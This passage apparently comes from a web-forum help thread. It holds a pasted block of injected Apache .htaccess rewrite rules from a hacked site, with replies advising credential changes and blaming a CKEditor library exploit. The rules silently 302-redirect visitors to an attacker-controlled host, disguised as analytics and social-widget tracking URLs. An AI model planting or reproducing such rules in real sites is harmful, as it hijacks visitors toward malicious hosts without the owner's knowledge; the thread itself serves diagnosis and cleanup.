RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.3&utms=31&utmn=718717998&utmhn=mobil.kapanlagi.com&utmcs=ISO-8859-1&utmsr=1024x768&utmvp=1007x635&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=8.0\%20\%20r22&utmdt=Mobil\%20KapanLagi.com:\%20Dijual\%20Suzuki\%20Jakarta.\%20Berdasarkan\%20harga\%20terendah\%20Bekas\%20Dan\%20Baru\%2C\%20page\%204&utmhid=346230317&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/suzuki_jakarta_harga_terendah_3.html&utmac=UA-32725639-2&utmcc=__utma\%3D122331860.370372667.1341891625.1341891625.1341891625.1\%3B\%2B__utmz\%3D122331860.1341891625.1.1.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dmobil\%2520kapan\%2520lagi.com\%3B&utmu=qB~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10111:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 39
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.2&utms=2&utmn=2022560629&utmhn=www.docstoc.com&utmt=event&utme=5(/Docs/Document-Detail-Google.aspx*2500-4999*endOfPage)(2664)&utmcs=UTF-8&utmsr=1366x768&utmvp=1349x605&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.3\%20r181&utmdt=Cara\%20Membuat\%20Content\%20Management\%20System&utmhid=2078437669&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/docs/65569224/Cara-Membuat-Content-Management-System&utmac=UA-1289929-1&utmcc=__utma\%3D103541653.1389671987.1340440712.1340440712.1340440712.1\%3B\%2B__utmz\%3D103541653.1340440712.1.1.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3DKerugian\%2520di\%2520antara\%2520konten\%2520statik\%2520dan\%2520konten\%2520dinamik\%3B&utmu=6AC~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11059:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 40
RewriteRule ^.* http://%{ENV:uuL}/1/urls/count.json?callback=WPCOMSharing.update_twitter_count&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&_=1341552420989  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11426:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 41
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.2&utms=10&utmn=827208747&utmhn=hot.detik.com&utmcs=UTF-8&utmsr=1024x768&utmvp=1007x576&utmsc=32-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=detikHot\%20:\%20hiburan\%20digital\%20anda&utmhid=1998396235&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/\%3F9922022  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9322:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 42
RewriteRule ^.* http://%{ENV:uuL}/s.php?url_share=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&url_title=Semua+Kini+Terserah+Borini&r=detiksport  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9987:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 43
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1340159290907&count=none&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=kaskus:Official\%20Kaskus\%20Account&size=m&text=Suzuki\%20Ertiga\%20Community\%20-\%20http\\%3A\\%2F\\%2Fkask.us/12502973\%20\%23kaskus&url=none&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1334627957284262969318907  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9199:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 44
RewriteRule ^.* http://%{ENV:uuL}/ya/download?mid=1_606790_AK\%2BQCmoAAWekT\%2BGSugOEQw3dX3k&fid=Inbox&pid=2&clean=0&appid=YahooMailNeo&redirectURL=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11240:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 45
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1341376027810&count=horizontal&counturl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=detikcom&size=m&text=MU\%20Bidik\%20Joao\%20Moutinho&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&via=detiksport&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=1&twttr_li=0&twttr_pid=v3:1334535897870717550628126  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10313:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 46
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.3&utms=1&utmn=435291186&utmhn=www.kapanlagi.com&utmcs=ISO-8859-1&utmsr=1024x768&utmvp=1007x629&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.0\%20r22&utmdt=KapanLagi.com:\%20Nichkhun\%202PM\%20-\%20Victoria\%20f(x)\%20Tampil\%20Bersama\%20Lagi&utmhid=1559945315&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/showbiz/asian-star/nichkhun-2pm-victoria-fx-tampil-bersama-lagi-1ee0a5.html&utmac=UA-1232444-6&utmcc=__utma\%3D122331860.895362927.1335861065.1335861065.1342053940.2\%3B\%2B__utmz\%3D122331860.1342053940.2.2.utmcsr\%3Did.omg.yahoo.com\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/news/dalam-avengers-2-scarlett-johansson-bakal-diupah-rp-200000773.html\%3B&utmu=qB~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9173:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 47
RewriteRule ^.* http://%{ENV:uuL}/pinit.html?url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&media=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&description=\%20Twilight\%20actor\%20Peter\%20Facinelli\%20and\%20wife\%20Jennie\%20Garth\%20go\%20out\%20for\%20dinner\%20at\%20the\%20Nippon\%20Japanese\%20restaurant\%20with\%20daughters\%20Luca\%2C\%20Lola\%20and\%20Fiona.\%20Peter\%20dresses\%20casually\%20in\%20his\%20Monarchy\%20Collection\%20Bootstrap\%20Jeans\%20for\%20the\%20meal\%20with\%20his\%20all\%20girl...&layout=horizontal&ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10840:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 48
RewriteRule ^.* http://%{ENV:uuL}/pixel;r=1775297142;a=p-5dyPa639IrgIw;fpan=0;fpa=P0-1434396918-1341369573086;ns=0;ce=1;je=0;sr=1024x768x24;enc=n;dst=0;et=1341369594970;tzo=-420;ref=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10381:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 49
RewriteRule ^.* http://%{ENV:uuL}/hm.gif?cc=1&ck=1&cl=24-bit&ds=1024x768&et=0&fl=10.0&ja=0&ln=en-US&lo=0&lt=1340255595&nv=0&rnd=1113846554&si=1b4b10e2fb81af4afdc5e3cd9339792d&st=4&su=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&v=1.0.24  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9198:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 50
RewriteRule ^.* http://%{ENV:uuL}/a/8240/13310/25505-15.html?cb=0.7301386955918571&rf=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9844:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 51
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1341386972782&count=none&id=twitter-widget-0&lang=en&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&related=kaskus:Official\%20Kaskus\%20Account&size=m&text=\%5BOfficial\%20Thread\%5D\%20The\%20Sims\%20Medieval\%20for\%20PC\%20-\%20http\\%3A\\%2F\\%2Fkask.us/7538404\%20\%23kaskus&url=none&type=share&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_hask=0&twttr_li=0&twttr_pid=v3:1334627957284262969318907  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10445:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 52
RewriteRule ^.* http://%{ENV:uuL}/delivery/lg.php?bannerid=30544&campaignid=4402&zoneid=1832&channel_ids=,&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=81df36ff1c  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9381:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 53
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.3&utms=14&utmn=1339146236&utmhn=disqus.com&utme=8(component*package*forum*version*userType)9(embed*free*dieline*next*not_logged_in)&utmcs=UTF-8&utmsr=1280x768&utmvp=700x275&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=10.1\%20r102&utmhid=64278436&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/next/lounge/client.html\%3Ff\%3Ddieline\%26t_u\%3Dhttp\%25253A\%25252F\%25252Fwww.thedieline.com\%25252Fblog\%25252F2012\%25252F6\%25252F20\%25252Fbefore-after-amlactin.html\%26t_t\%3DBefore\%252520\%252526\%252520After\%25253A\%2525C2\%2525A0AmLactin\%252520-\%252520The\%252520Dieline\%252520-\%252520The\%252520\%2525231\%252520Package\%252520Design\%252520Website\%252520-\%26s_o\%3Dpopular&utmac=UA-1410476-6&utmcc=__utma\%3D40641725.1055632120.1341893459.1341893459.1341904174.2\%3B\%2B__utmz\%3D40641725.1341904174.2.2.utmcsr\%3Dthedieline.com\%7Cutmccn\%3D(referral)\%7Cutmcmd\%3Dreferral\%7Cutmcct\%3D/blog/2012/7/4/crit-bebe-de-foret.html\%3B&utmu=qR~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9571:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 54
RewriteRule ^.* http://%{ENV:uuL}/t.gif?_=1340416605769&count=horizontal&counturl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&id=twitter_tweet_button_0&lang=id&original_referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&text=Pangeran\%20William\%20Beri\%20Makan\%20Badak\%20Langka\%20-\%20Yahoo!\%20OMG!\%20Indonesia&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&type=share&size=m&twttr_referrer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&twttr_widget=1&twttr_dnt=1  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10781:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 55
RewriteRule ^.* http://%{ENV:uuL}/res/images/wijitTrack.gif?viewId=41d719d34309&rand=1264658909818&uri=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&rr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:10711:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 56
RewriteRule ^.* http://%{ENV:uuL}/b/ss/wmg,wmgatl,wmgd2cparamore,wmgparamoreall/1/H.20.3/s54312160294502?AQB=1&ndh=1&t=25/0/2010\%2012:8:30\%201\%20-60&vmt=4B7EBDA2&pageName=Paramore:Photos&g=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&r=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cc=USD&ch=Paramore:Photos&server=Paramore&events=event11&c1=Paramore&h1=Paramore\%7CPhotos&c2=Atlantic&v4=Paramore&c6=Atlantic:Fueled\%20By\%20Ramen&c9=6:00AM&c10=Monday&c11=Weekday&s=1440x900&c=24&j=1.6&v=Y&k=Y&bw=1440&bh=788&p=Shockwave\%20Flash\%3BDivX\%AE\%20Web\%20Player\%3BQuickTime\%20Plug-in\%207.2.0\%3BVLC\%20Multimedia\%20Plugin\%20\%28compatible\%20Totem\%202.26.1\%29\%3BWindows\%20Media\%20Player\%20Plug-in\%2010\%20\%28compatible\%3B\%20Totem\%29\%3B&pid=Paramore:Photos&pidt=1&oid=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&ot=A&AQE=1  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11428:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 57
RewriteRule ^.* http://%{ENV:uuL}/api/getCount2.php?cb=stButtons.processCB&refDomain=www.mangahere.com&refQuery=manga/bara_to_zirconia/c001/43.html&pgurl=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&pubKey=e47efe7d-147b-4731-ac42-9838ccdc52f2&url=http\%3A\%2F\%2F%{HTTP_HOST}\%2F  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:11051:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 58
RewriteRule ^.* http://%{ENV:uuL}/www/delivery/lg.php?bannerid=1401&campaignid=296&zoneid=348&loc=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&referer=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&cb=06fe509ed6  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9069:/:0:HttpOnly]
RewriteCond %{ENV:IHq} 59
RewriteRule ^.* http://%{ENV:uuL}/__utm.gif?utmwv=5.3.3&utms=1&utmn=1753832107&utmhn=www.kompas.com&utmcs=UTF-8&utmsr=1024x768&utmvp=1007x646&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=KOMPAS.com&utmhid=1068724425&utmr=http\%3A\%2F\%2F%{HTTP_HOST}\%2F&utmp=/&utmac=UA-3374285-1&utmcc=__utma\%3D194028855.770045516.1340720720.1340979700.1341239017.5\%3B\%2B__utmz\%3D194028855.1341239017.5.5.utmcsr\%3Dgoogle\%7Cutmccn\%3D(organic)\%7Cutmcmd\%3Dorganic\%7Cutmctr\%3Dkompas\%3B&utmu=q~  [R=302,NE,L,CO=IHq:%{ENV:IHq}:%{HTTP_HOST}:9723:/:0:HttpOnly]

</IfModule>
#2f959dbaafe46f19275d81ccb65dcd6df4291a5ebb596ee508c46f43
Login or register to post comments ⋅ Categories: ,

Comments

You should change your server

Posted by nevets on December 18, 2012 at 3:14pm

You should change your server logins/passwords, this includes ftp, control panel (s) and ssh.

If that does not do the trick and you are on shared hosting you may want to contact the hosting company.

Which wysiwyg editor are you

Posted by nicoz on December 18, 2012 at 5:29pm

Which wysiwyg editor are you using with the wysiwyg api?

I noticed a similar issue in one of my client sites recently. I was running the latest ckeditor module but the exploit was the 3rd party ckeditor library.

nobody click here